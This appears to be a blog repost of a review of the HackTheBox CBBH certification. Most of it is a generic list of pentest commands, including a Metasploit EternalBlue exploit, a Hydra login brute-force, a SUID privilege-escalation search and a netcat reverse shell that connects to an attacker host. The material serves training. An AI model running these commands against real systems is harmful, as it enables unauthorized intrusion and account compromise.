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In this review, I share a comprehensive analysis of the CBBH certification, covering the following aspects:
– The training 📚
– The target audience 🎯
– The exam 📝
– Unboxing the physical certification 📦
A big thank you to Hack The Box for their trust and commitment to the community 🙏
Practice-Verified Commands and Codes
1. Reconnaissance with Nmap
nmap -sV -sC -oA target_scan <target_ip>
This command performs a version detection (-sV), script scanning (-sC), and outputs the results in all formats (-oA).
2. Directory Enumeration with Gobuster
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
This command helps in discovering hidden directories on a web server.
3. Exploiting Vulnerabilities with Metasploit
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS <target_ip> exploit
This is an example of exploiting the EternalBlue vulnerability on a Windows machine.
4. SQL Injection Testing with SQLmap
sqlmap -u http://<target_ip>/page?id=1 --dbs
This command identifies databases on a vulnerable web application.
5. Brute-Forcing with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target_ip> http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
This command brute-forces a login page using a wordlist.
6. Packet Analysis with Wireshark
wireshark -k -i eth0
This command starts Wireshark for live packet capture on the `eth0` interface.
7. Linux Privilege Escalation
find / -perm -u=s -o -perm -g=s 2>/dev/null
This command searches for SUID and SGID files, which can be exploited for privilege escalation.
8. Windows Command for Network Configuration
[cmd]
ipconfig /all
[/cmd]
This command displays detailed network configuration information on Windows.
9. Creating a Reverse Shell with Netcat
nc -lvp 4444
On the attacker’s machine, and on the target:
nc <attacker_ip> 4444 -e /bin/bash
This creates a reverse shell connection.
10. Analyzing Logs with Grep
grep "Failed password" /var/log/auth.log
This command filters failed login attempts from the auth log.
What Undercode Say
The CBBH certification from HackTheBox is a valuable credential for aspiring bug bounty hunters and penetration testers. It emphasizes practical skills in identifying and exploiting vulnerabilities, which are critical in the cybersecurity field. The training and exam focus on real-world scenarios, making it a hands-on learning experience.
To excel in such certifications, mastering tools like Nmap, Metasploit, SQLmap, and Wireshark is essential. Additionally, understanding Linux and Windows commands for system analysis, privilege escalation, and network configuration is crucial. For example, commands like `find` for SUID/SGID files or `ipconfig` for network details are foundational.
Practicing in environments like Hack The Box or TryHackMe can significantly enhance your skills. Always ensure ethical hacking practices and obtain proper authorization before testing systems.
For further reading, explore the following resources:
By combining theoretical knowledge with hands-on practice, you can achieve certifications like CBBH and advance your career in cybersecurity. Keep learning, stay curious, and always aim to improve your skills.
References:
initially reported by: https://www.linkedin.com/posts/activity-7301963624326033408-kvMW – Hackers Feeds
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